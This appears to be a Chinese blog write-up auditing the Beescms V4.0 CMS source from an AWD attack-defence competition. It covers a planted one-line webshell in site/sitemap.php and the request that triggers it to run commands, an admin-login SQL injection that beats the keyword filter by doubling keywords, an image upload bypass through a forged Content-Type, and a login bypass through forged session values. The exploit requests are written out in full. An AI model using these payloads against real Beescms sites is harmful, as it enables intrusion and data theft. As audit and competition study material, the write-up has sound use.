• 代码审计-Beescms_V4.0


    Beescms_V4.0代码审计源于一场AWD线下比赛的漏洞源码 

    看了别的师傅的文章发现这个源码也非常简单 ,所以今晚简单审计过一遍。

     

    0x01 预留后门

    awd首先备份源码,然后下载下来查杀后门,很可能有隐藏后门,有的话直接拿这个后门开始第一轮刷分攻击。

    D盾查杀可疑后门,如下;

    site/sitemap.php 文件疑似木马,查看一下;

    明显的一句话木马

    构造也很简单:

    Post:lang=system
    Get:0=ls

    查看flag   0=cat /flag

     

    以下的代码 我选择快速审计 大体看功能 ----》推测可能存在某个漏洞------》看核心源码验证漏洞。

     0x02 后台SQL注入

    http://192.168.5.149/BEES_4.0/admin/login.php

    登录加单引号 报错 估计有注入

    看源码

    文件:/admin/login.php

     很简单的逻辑

     在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),check_login函数我们来看看是什么

    可以看到只是功能只是最后带入查询和验证密码 那么重点过滤函数应该在前面的fl_value()和fl_html()这两个函数上,跟进。

     fl_value():

    发现 fl_value()函数就是用htmlspecialchars(()函数对字符进行转义,将特殊字符用引用实体替换。

    被转换的预定义的字符有:
    
    &:转换为&
    ":转换为"
    ':转换为成为 '
    <:转换为&lt;
    >:转换为&gt;

    再看看fl_value():

    function fl_value($str){
        if(empty($str)){return;}
        return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|=|/*|*|../|./| union | from | where | group | into |load_file
    |outfile/i','',$str);
    }

    fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空,这个双写关键字即可绕过。fl_html()也就是htmlspecialchars()采用的是默认参数,仅编码双引号,所以对于’不会过滤,要想过滤单引号和双引号需要加上ENT_QUOTES参数

    所以这里构造注入payload(这是网上文章原文的):

    user=admin' uni union on selselectect 1,2,3,4,5#&password=1&code=62e4&submit=true&submit.x=56&submit.y=27

    0x03 后台任意文件上传

          可以登录后台进行测试。后台发现有图片上传的地方

    来看下代码:

    is_uploaded_file($_FILES['up']['tmp_name'])){
        if($up_type=='pic'){
            $is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
            $thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
            $thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
            $logo=0;
            $is_up_size = $_sys['upload_size']*1000*1000;
            $value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
            $pic=$value_arr['pic'];
            if(!empty($value_arr['thumb'])){
            $pic=$value_arr['thumb'];
            }
            $str="<script type="text/javascript">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
            echo $str;
            exit;
        }//图片上传

     发现在44行

    $value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

    定义了mime类型 只需要改下content-type得值即可。

     

    0x04 前台登录绕过

    在admin/init.php中第54行发现判断函数is_login():

    跟进这个函数

     这里验证session中得login_in和admin字段 我们可以伪造进行绕过。

    POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
  • 相关阅读:
    《网络是怎样连接的》读书笔记一
    移植mplayer到开发板
    解决ubuntu安装ssh服务无法打开解析包问题
    嵌入式软件工程师面经
    c语言-数组、指针面试题
    Linux命令- echo、grep 、重定向、1>&2、2>&1的介绍
    回调函数的作用
    数据结构-单链表回环函数判断
    算法-一步步教你如何用c语言实现堆排序(非递归)
    算法-快速排序
  • 原文地址:https://www.cnblogs.com/-qing-/p/11087333.html
Copyright © 2020-2023  润新知